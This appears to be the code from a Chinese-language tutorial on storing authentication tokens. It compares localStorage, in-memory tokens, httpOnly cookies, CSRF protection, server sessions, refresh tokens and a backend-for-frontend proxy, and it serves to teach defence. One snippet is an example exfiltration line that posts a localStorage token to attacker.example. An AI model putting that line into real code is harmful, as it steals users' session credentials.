存储 Auth Token 的方式

async function login(email: string, password: string) {
  const res = await fetch("/api/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  localStorage.setItem("token", token);
}

async function fetchProfile() {
  const res = await fetch("/api/me", {
    headers: {
      Authorization: `Bearer ${localStorage.getItem("token")}`,
    },
  });
  return res.json();
}

app.post("/api/login", async (req, res) => {
  const { email, password } = req.body;
  const user = FAKE_USERS.find(
    (u) => u.email === email && u.password === password,
  );

  if (!user) {
    return res.status(401).json({ error: "账号或密码错误" });
  }

  const token = await signJWT(user.id);
  res.json({ token });
});

fetch("https://attacker.example/collect", {
  method: "POST",
  body: localStorage.getItem("token"),
});

let accessToken: string | null = null;

async function login(email: string, password: string) {
  const res = await fetch("/api/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  accessToken = token; // lives in memory, never written to disk
}

const token = await signJWT(user.id);
res.cookie("token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  path: "/",
});

res.json({ ok: true });

async function login(email: string, password: string) {
  await fetch("/api/login", {
    method: "POST",
    credentials: "include", // browser handles the cookie from here
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });
  // Nothing in the response body to store. There's no token in our code at all.
}

async function fetchProfile() {
  const res = await fetch("/api/me", { credentials: "include" });
  return res.json();
}

// 所有会改变状态的请求都走这里，统一带上 csrf header
async function post(path, body) {
  return fetch(path, {
    method: "POST",
    credentials: "include",
    headers: {
      "Content-Type": "application/json",
      "X-CSRF-Token": getCsrfToken() ?? "",
    },
    body: JSON.stringify(body ?? {}),
  });
}

async function login() {
  const email = document.getElementById("email").value;
  const password = document.getElementById("password").value;

  const res = await post("/api/login", { email, password });
  const data = await res.json();

  if (!res.ok) {
    show("登录失败: " + JSON.stringify(data, null, 2));
    return;
  }
}

// 注意: 这个 cookie 故意 不加 httpOnly，前端 JS 必须能读到它才能回传
function setCsrfCookie(res, value) {
  res.cookie("csrf_token", value, {
    httpOnly: false,
    secure: true,
    sameSite: "lax",
    path: "/",
  });
}

app.use((req, res, next) => {
  if (["POST", "PUT", "PATCH", "DELETE"].includes(req.method)) {
    // 只对"会改数据"的请求方法做检查，GET 一般不该改数据，所以不查

    const site = req.get("Sec-Fetch-Site");
    // 读取浏览器自动加的这个 header 的值

    if (site && site !== "same-origin") {
      // 如果这个 header 存在，且值不是 "same-origin"
      // （意味着这是跨站或跨源发起的请求）
      return res.status(403).json({ error: "cross-site request rejected" });
      // 直接拒绝，403
    }
  }
  next();
  // 是同源请求，或者是安全的 GET 请求，放行
});

app.post("/api/login", async (req, res) => {
  const user = await verifyPassword(req.body.email, req.body.password);
  const sessionId = crypto.randomBytes(32).toString("hex");
  await db.sessions.create({ id: sessionId, userId: user.id });
  res.cookie("__Host-session", sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: "lax",
    path: "/",
  });
  res.json({ ok: true });
});

// Runs before your routes. Reads the cookie, finds the user, or leaves it null.
app.use(async (req, res, next) => {
  const sessionId = req.cookies["__Host-session"];
  const session = sessionId ? await db.sessions.get(sessionId) : null;

  // Attach the user to the request so every route below can see it
  req.user = session ? await db.users.get(session.userId) : null;
  next();
});

// A protected route now reads req.user and trusts it, because the
// middleware already did the work.
app.get("/api/orders", async (req, res) => {
  if (!req.user) return res.status(401).json({ error: "not logged in" });
  res.json(await db.orders.findByUser(req.user.id));
});

app.post("/api/logout", async (req, res) => {
  const sessionId = req.cookies["__Host-session"];
  if (sessionId) await db.sessions.delete(sessionId); // the session is now gone, server-side

  res.clearCookie("__Host-session");
  res.json({ ok: true });
});

res.cookie("refresh_token", refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  path: "/api/refresh", // 只在这条路径下才会被浏览器自动带上
});

let refreshing: Promise<string> | null = null;

function refreshAccessToken() {
  if (!refreshing) {
    refreshing = fetch("/api/refresh", { credentials: "include" })
      .then(/* handle and store */)
      .finally(() => {
        refreshing = null;
      });
  }
  return refreshing;
}

async function api(path: string, options: RequestInit = {}) {
  const res = await fetch(path, {
    ...options,
    headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
  });

  if (res.status === 401) {
    const fresh = await refreshAccessToken();
    return fetch(path, {
      ...options,
      headers: { ...options.headers, Authorization: `Bearer ${fresh}` },
    });
  }
  return res;
}

// The BFF. The browser only ever talks to this, never to the real API.
app.all("/api/*splat", async (req, res) => {
  // 1. The browser sent a session cookie, not a token.
  const sessionId = req.cookies["__Host-session"];
  const session = sessionId ? await sessions.get(sessionId) : null;
  if (!session) return res.status(401).json({ error: "not logged in" });

  // 2. Swap the cookie for the real access token, which never left this server.
  let accessToken = session.accessToken;

  // 3. If it has expired, refresh the server-to-server connection before forwarding. If the refresh
  // itself fails (token expired or revoked at the provider), the session is
  // over: kill it and make the browser log in again.
  if (Date.now() >= session.expiresAt) {
    try {
      const refreshed = await refreshWithProvider(session.refreshToken);
      accessToken = refreshed.accessToken;
      await sessions.update(sessionId, refreshed); // rotate + store the new pair
    } catch {
      await sessions.delete(sessionId);
      return res.status(401).json({ error: "session expired" });
    }
  }

  // 4. Forward the real API request with the bearer token that the browser never sees.
  // originalUrl keeps the query string; req.path would drop ?page=2.
  const upstream = await fetch(
    `https://api.example.com${req.originalUrl.replace("/api", "")}`,
    {
      method: req.method,
      headers: {
        Authorization: `Bearer ${accessToken}`,
        "Content-Type": req.get("Content-Type") ?? "application/json",
      },
      body: ["GET", "HEAD"].includes(req.method)
        ? undefined
        : JSON.stringify(req.body),
    },
  );

  // Pass the status through. A 204 or other empty body has nothing to parse,
  // so guard the json() call or it throws.
  res.status(upstream.status);
  const text = await upstream.text();
  return text ? res.type("json").send(text) : res.end();
});